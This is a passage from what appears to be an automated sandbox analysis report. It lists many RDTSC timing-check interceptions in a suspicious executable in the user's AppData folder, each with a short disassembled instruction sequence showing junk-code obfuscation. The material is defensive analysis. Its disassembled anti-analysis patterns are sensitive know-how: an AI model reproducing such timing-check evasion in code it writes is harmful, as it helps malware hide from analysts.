0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d mov edi, dword ptr [ebp+122D2DF0h] 0x00000053 mov ebx, dword ptr [ebp+122D2AE4h] 0x00000059 jnp 00007FF88929ECBEh 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jnl 00007FF88929ECB8h 0x00000068 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAC92B second address: CAC943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAD8A4 second address: CAD8F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF88929ECC7h 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF88929ECC7h 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CACBA2 second address: CACBA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAF977 second address: CAF9F0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF88929ECBCh 0x00000008 jp 00007FF88929ECB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007FF88929ECC8h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b jmp 00007FF88929ECBEh 0x00000020 popad 0x00000021 nop 0x00000022 ja 00007FF88929ECBCh 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007FF88929ECB8h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 mov bx, 705Bh 0x00000048 push 00000000h 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAEAF9 second address: CAEB0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAF9F0 second address: CAF9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAF9F4 second address: CAFA35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007FF888DC1E96h 0x00000010 jno 00007FF888DC1E96h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF888DC1EA1h 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAFA35 second address: CAFA3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB09C1 second address: CB09CB instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAFBCE second address: CAFBE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FF88929ECBDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB09CB second address: CB09E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAFBE8 second address: CAFBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAFBED second address: CAFC7C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, dword ptr [ebp+122D3718h] 0x0000000f mov edi, dword ptr [ebp+122D2C50h] 0x00000015 push dword ptr fs:[00000000h] 0x0000001c and bl, 0000005Bh 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007FF888DC1E98h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 xor dword ptr [ebp+122D2492h], edi 0x00000046 pushad 0x00000047 mov dword ptr [ebp+122D1AC2h], edi 0x0000004d mov si, 73BCh 0x00000051 popad 0x00000052 mov eax, dword ptr [ebp+122D1215h] 0x00000058 pushad 0x00000059 mov ecx, 7A7FBF50h 0x0000005e ja 00007FF888DC1E98h 0x00000064 popad 0x00000065 push FFFFFFFFh 0x00000067 movsx edi, bx 0x0000006a nop 0x0000006b jmp 00007FF888DC1EA9h 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 push ebx 0x00000074 push ecx 0x00000075 pop ecx 0x00000076 pop ebx 0x00000077 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1A1F second address: CB1A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1A23 second address: CB1A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1A29 second address: CB1AA4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF88929ECBCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FF88929ECB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 or di, 4006h 0x0000002c mov edi, dword ptr [ebp+12470CF6h] 0x00000032 mov di, si 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007FF88929ECB8h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D2713h], edi 0x00000057 push 00000000h 0x00000059 jp 00007FF88929ECB8h 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FF88929ECBBh 0x00000067 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1AA4 second address: CB1AAE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF888DC1E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1AAE second address: CB1AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1AB9 second address: CB1ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB0B92 second address: CB0B98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB2A51 second address: CB2A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1E9Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB2A63 second address: CB2A86 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FF88929ECC1h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1C08 second address: CB1C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1C0C second address: CB1C16 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1C16 second address: CB1C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1C1C second address: CB1C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB1C20 second address: CB1C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnp 00007FF888DC1E96h 0x00000012 jnp 00007FF888DC1E96h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB47DD second address: CB47E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FF88929ECB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB57A8 second address: CB57BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB57BE second address: CB57C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB49C9 second address: CB49CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB49CD second address: CB49D8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB8A2B second address: CB8A4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b je 00007FF888DC1EA2h 0x00000011 jc 00007FF888DC1E9Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB7AE7 second address: CB7AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB7AEC second address: CB7AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CB7AF2 second address: CB7AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CBAA11 second address: CBAA30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007FF888DC1E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF888DC1EA1h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CBB018 second address: CBB04F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov edi, 2538BC5Ch 0x0000000b push 00000000h 0x0000000d mov di, cx 0x00000010 push 00000000h 0x00000012 add dword ptr [ebp+122D2F96h], edi 0x00000018 mov edi, dword ptr [ebp+122D2D64h] 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FF88929ECC4h 0x00000028 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CBB04F second address: CBB055 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CBC119 second address: CBC11D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CBC11D second address: CBC127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CBB220 second address: CBB224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CBB224 second address: CBB25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FF888DC1EA4h 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push edx 0x00000011 jmp 00007FF888DC1E9Fh 0x00000016 pop edx 0x00000017 jbe 00007FF888DC1E9Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CBB25C second address: CBB2F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push dword ptr fs:[00000000h] 0x0000000d mov ebx, dword ptr [ebp+122D27F5h] 0x00000013 mov dword ptr fs:[00000000h], esp 0x0000001a jl 00007FF88929ECBCh 0x00000020 mov dword ptr [ebp+1247663Dh], ebx 0x00000026 mov eax, dword ptr [ebp+122D097Dh] 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007FF88929ECB8h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 push FFFFFFFFh 0x00000048 push 00000000h 0x0000004a push eax 0x0000004b call 00007FF88929ECB8h 0x00000050 pop eax 0x00000051 mov dword ptr [esp+04h], eax 0x00000055 add dword ptr [esp+04h], 00000019h 0x0000005d inc eax 0x0000005e push eax 0x0000005f ret 0x00000060 pop eax 0x00000061 ret 0x00000062 mov dword ptr [ebp+1244FE6Ah], esi 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c jmp 00007FF88929ECC8h 0x00000071 jmp 00007FF88929ECBBh 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC4C33 second address: CC4C5E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF888DC1EB4h 0x00000008 jmp 00007FF888DC1EA8h 0x0000000d jl 00007FF888DC1E96h 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC4302 second address: CC4322 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF88929ECC8h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC4322 second address: CC4326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC45D1 second address: CC45D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC45D5 second address: CC45E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FF888DC1E9Eh 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC45E5 second address: CC45F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FF88929ECBEh 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC45F9 second address: CC462A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF888DC1EA4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FF888DC1EA2h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC462A second address: CC4641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FF88929ECBCh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC4641 second address: CC4645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC47A2 second address: CC47A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC47A6 second address: CC47AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CC47AC second address: CC47D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jne 00007FF88929ECD2h 0x0000000e jmp 00007FF88929ECC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CCADE5 second address: CCADE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CCAEF4 second address: CCAF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECC3h 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ebx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CCAF12 second address: CCAF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CCAF21 second address: CCAF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CCAF26 second address: CCAF2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD0D10 second address: CD0D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF88929ECB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD0D1C second address: CD0D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jng 00007FF888DC1E96h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD1131 second address: CD1135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD1135 second address: CD1157 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF888DC1EA8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD1157 second address: CD115E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD12B4 second address: CD12C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007FF888DC1E9Bh 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD12C6 second address: CD12CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD1425 second address: CD142B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD142B second address: CD1435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD5D0F second address: CD5D15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD5D15 second address: CD5D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD62D7 second address: CD62E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF888DC1E96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD62E2 second address: CD6302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FF88929ECB6h 0x00000009 jmp 00007FF88929ECC2h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD6302 second address: CD6308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD645F second address: CD646B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF88929ECB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD646B second address: CD6487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FF888DC1EA7h 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CD6487 second address: CD6490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
